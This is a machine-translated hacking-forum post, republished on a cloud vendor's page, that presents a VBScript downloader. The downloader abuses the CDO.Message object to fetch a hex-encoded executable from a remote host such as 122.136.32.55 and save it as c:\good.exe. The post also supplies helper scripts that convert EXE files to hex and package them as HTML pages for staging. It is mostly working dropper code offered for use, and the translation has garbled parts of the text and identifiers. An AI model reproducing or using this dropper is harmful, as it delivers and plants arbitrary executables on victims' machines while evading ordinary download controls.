Vbs downloader using CDO. message in the latest version

Source: Internet
Author: User

There are a lot of vbs Downloaders. I am a great inventor here, using CDO. Message for vbs downloading. Great means to install B.
NPCodeFinished, details here: http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

When he wrote his blog backup script, LCX found that CDO. Message could access the Internet to download things, saying that research may be used as a Downloader.
So I studied it for a while. Write a rough demo.
Exe2hex. vbs // exe2vbs written by Xiaolu. I changed it to direct drag-and-drop and convert it to hexadecimal
========================================================== ==========

Copy code The Code is as follows: 'Code by Xiaolu
'Change by netpatch
On Error resume next
Set Arg = wscript. Arguments
If Arg. Count = 0 then wscript. Quit
Do While 1
Fname = Arg (0)
Err. Number = 0
Set ADO = Createobject ("ADODB. Stream ")
With ado
. Type = 1
. Open
. Loadfromfile fname
Ss =. Read
End
If err. Number <> 0 then
If msgbox ("file opening error! ", 1," file2vbs ") = 2 then wscript. Quit
Else
Exit do
End if
Loop
If fname = "" Then wscript. Quit
Set FSO = Createobject ("scripting. FileSystemObject ")
Set file = FSO. opentextfile (ARG (0) & ". htm", 2, true)
File. Write bin2str (SS)
File. Close
Set FSO = nothing
Ado. Close
Set ABO = nothing
Function bin2str (re)
For I = 1 to lenb (re)
Bt = ASCB (midb (Re, I, 1 ))
If BT <16 then bin2str = bin2str & "0"
Bin2str = bin2str & hex (BT)
Next
End Function

==============================================
Downloader down. vbs
==================Copy codeThe Code is as follows: on error resume next
Set Arg = wscript. Arguments
If Arg. Count = 0 then wscript. Quit
'Code by netpatch
'Cscript down. vbs http: // 122.136.32.55/demo.htm c: \ good.exe
Set mail1 = Createobject ("CDO. Message ")
Mail1.createmhtmlbody Arg (0), 31
Ss = mail1.htmlbody
Set mail1 = nothing
Set rs = Createobject ("ADODB. recordset ")
L = Len (SS)/2
Rs. Fields. APPEND "M", 205, l
Rs. Open: Rs. addnew
RS ("M") = SS & chrb (0)
Rs. Update
Ss = RS ("M"). getchunk (l)
Set S = Createobject ("ADODB. Stream ")
With S
. Mode = 3
. Type = 1
. Open ()
. Write SS
. Savetofile Arg (1), 2
End

========================================
After the demo.htm content is converted to EXE by using exe2hex. vbs
Usage:
1.exe 2hex. vbs converts EXE to hexadecimal format and puts it on the network.
2. Down. vbs http: // xxx/demo.htm c: \ good.exe

Due to NP writing, the process will not automatically exit after executing the generated EXE on my machine. I will update it again.
======== Use the following HTA file to convert the EXE file into a hexadecimal HTML file and save it. This makes it easier. ======== Copy code The Code is as follows: <! Doctype HTML public "-// W3C // dtd html 4.01 transitional // en">
<HTML>
<Head>
<Title> package file v0.1 </title>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">
<HTA: Application
Id = "package file v0.1"
Applicationname = "package file v0.1"
Version = "0.1"
Scroll = "no"
Innerborder = "no"
Contextmenu = "yes"
Caption = "yes"
Icon = "no"
Showintaskbar = "yes"
Singleinstance = "yes"
Sysmenu = "yes"
Maximizebutton = "no"
Windowstate = "normal"
Navigable = "yes"
/>
<Script language = "VBScript">
Function transfert ()
Dim filename
Filename = Document. getelementbyid ("srcfile"). Value
If Len (filename)> 0 then
Dim oreq
'On error resume next
'// Create an XMLHTTP object
Set oreq = Createobject ("msxml2.xmlhttp ")
Oreq. Open "get", "file: \" & filename, false
Oreq. Send
FF = oreq. responsebody
Dim U, S, KK
U = lenb (FF)
Redim kk (U-1)
For I = 0 to U-1
S = hex (ASCB (midb (FF, I + 1, 1 )))
If Len (s) <2 then
S = "0" & S
End if
'Kk = KK & S
Kk (I) = s
Next
Make filename, join (KK ,"")
Else
Document. getelementbyid ("srcfile"). Focus
Msgbox "select the file to be compressed", 16, "prompt"
End if
End Function
Function make (filename, data)
Dim htm, file
File = mid (filename, limit Rev (filename, "\") + 1)
Htm = HTM & Data
Dim FSO, F
Dim this_file
This_file = file & "-pf.htm"
Set FSO = Createobject ("scripting. FileSystemObject ")
Set F = FSO. opentextfile (this_file, 2, true)
F. Write htm
Msgbox "generate file" & this_file & "success! ", 64," generate"
End Function
</SCRIPT>
</Head>
<Body marginleft = 0 marginright = 0 onload = "window. resizeTo 389,145">
Select a file: <input type = File ID = "srcfile" style = "width: 260px;"> <br>
<Input type = button value = "convert" onclick = "transfert"> <input type = button value = "close" onclick = "window. Close">
</Body>
</Html>

================================ use the following vbs script to download it, put the HTM generated by HTA into space. You can download the generated HTM written by NP. The code is less =========< span style = "cursor: pointer "onclick =" docopy ('code85459') "> copy Code the code is as follows: '// save the file
function SaveFile (filename, STR)
set adodbstream = Createobject ("ADODB "&". "&" stream ")
adodbstream. type = 1
adodbstream. open
adodbstream. write STR
adodbstream. savetofile filename, 2
adodbstream. close
end function
'// convert the VB array to a binary format
function multibytetobinary (multibyte)
dim RS, lmultibyte, binary
const adlongvarbinary = 205
set rs = Createobject ("ADODB. recordset ")
lmultibyte = lenb (multibyte)
If lmultibyte> 0 then
Rs. fields. append "mbinary", adlongvarbinary, lmultibyte
Rs. open
Rs. addnew
RS ("mbinary "). appendChunk multibyte & chrb (0)
Rs. update
binary = RS ("mbinary "). getchunk (lmultibyte)
end if
multibytetobinary = binary
end function

Function exec ()
'// Blocking Error
On Error resume next
Set ARGs = wscript. Arguments
If args. Count = 0 then
Wscript. Echo "Usage: cscript down. vbs URL c: \ 1.exe"
Wscript. Quit 1
End if
Dim data, T, KK, filename, SS
Set mail1 = Createobject ("CDO. Message ")
Mail1.createmhtmlbody args. Item (0), 31
'Mail1. createmhtmlbody "C: \ XXX \ lcx.exe-pf.htm", 31
Ss = mail1.htmlbody
Set mail1 = nothing

'// Get the data
Data = SS
'// Get the file name
Filename = args. Item (1)
'// Get the Data Length
U = Len (data)
'// Obtain the file Array
For I = 1 to u Step 2
T = mid (data, I, 2)
Kk = KK & chrb (clng ("& H" & T ))
Next
'// Convert to binary format
Dataarry = multibytetobinary (kk)
'// Save the file
SaveFile filename, dataarry

End Function
Exec ()

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.